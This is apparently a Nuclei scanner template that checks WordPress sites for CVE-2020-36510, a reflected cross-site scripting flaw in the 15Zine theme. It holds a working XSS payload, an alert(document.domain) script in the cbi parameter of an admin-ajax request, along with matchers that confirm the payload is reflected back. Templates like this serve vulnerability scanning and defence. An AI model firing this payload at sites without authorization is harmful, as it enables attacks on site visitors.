34 lines
974 B
YAML
34 lines
974 B
YAML
|
id: CVE-2020-36510
|
||
|
|
||
|
info:
|
||
|
name: 15Zine < 3.3.0 - Reflected Cross-Site Scripting
|
||
|
author: veshraj
|
||
|
severity: medium
|
||
|
description: |
|
||
|
The theme does not sanitise and escape the cbi parameter before outputing it back in the response via the cb_s_a AJAX action, leading to a Reflected Cross-Site Scripting
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/d1dbc6d7-7488-40c2-bc38-0674ea5b3c95
|
||
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36510
|
||
|
tags: xss,wordpress,wp-theme,wp,cve,cve2020
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cb_s_a&cbi=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- "</script><script>alert(document.domain)</script>"
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- text/html
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|